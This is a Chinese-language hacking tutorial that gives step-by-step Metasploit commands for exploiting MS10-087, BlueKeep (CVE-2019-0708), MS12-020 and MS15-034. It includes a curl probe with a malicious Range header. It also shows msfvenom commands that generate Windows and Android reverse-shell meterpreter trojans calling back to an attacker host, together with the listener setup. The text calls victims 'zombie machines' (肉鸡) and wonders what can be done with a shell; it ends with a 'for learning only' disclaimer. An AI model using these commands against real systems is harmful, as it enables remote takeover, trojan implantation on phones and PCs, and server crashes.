一.准备及介绍

1、本文介绍MS10-087、CVE-2019-0708（win7 2008r2）、ms12-020 （2003）ms15-034（iis的HTTP.sys）漏洞利用；kali木马生成使用。

2、环境：kali、win2003/2008r2、Office 2003 。

---

二.漏洞利用 /kali木马生成使用

1、MS10-087

1）操作系统：VMWare Windows XP SP3、Office版本：Microsoft Office 2003 SP3

2）MS10-087是微软OFFICE办公软件在处理RTF文档的绘图pFragments 属性时产生的一个栈溢出漏洞，可能允许攻击者以特制的RTF格式数据远程执行任意代码。

3）search 10-087

     use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

获取shell或者复制、粘贴到肉鸡；双击后：

---

2、CVE-2019-0708

1）影响系统：windows2003、windows2008、windows2008 R2、windows xp 、win7

2）CVE-2019-0708漏洞是通过检查用户的身份认证，导致可以绕过认证，不用任何的交互，直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。

3）search 2019_0708

use  auxiliary/scanner/rdp/cve_2019_0708_bluekeep

set rhost192.168.1.98

set target 1

run

---

3、ms12-020 

1）Microsoft windows远程桌面协议RDP远程代码执行漏洞；

2）RDP协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，导致任意代码执行。 然后控制系统。

3）搜索模块，调用模块，设置参数，执行

执行后靶机会蓝屏，并重启

---

4、ms15-034

1）漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞；使用metasploit的auxiliary/dos/http/ms15_034_ulonglongadd模块可直接造成服务器蓝屏。

2）主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

3）测试命令：

curl http://192.168.1.20 -H "Host: 192.168.1.20 " -H "Range: bytes=0-18446744073709551615"；出现Requested Range Not Satisfiable时说明存在漏洞。

4）search 15-034   

use auxiliary/dos/http/ms15_034_ulonglongadd 

set rhosts 192.168.1.120

run

修复方法：禁用IIS内核缓存（可能降低IIS性能）

---

5、MSF木马生成使用

1）木马生成：PC：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe

                  android：(msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f apk -o app.apk)

2）生成后用其它漏洞获取shell或复制、粘贴到肉鸡/发送到肉鸡测试。

    进入MSF监听：1.use exploit/multi/handler

                              2. set payload windows/meterpreter/reverse_tcp

                              3. set lhost IP（（kali）本机IP）

                              4. set lport 4444 （随便设置电脑基本不会使用端口）

                              5.exploit

3）肉鸡/手机上运行，kali即可监听到，并获取shell。（有shell能干啥？？？O(∩_∩)O哈哈~）

---

本文仅供学习、交流！！！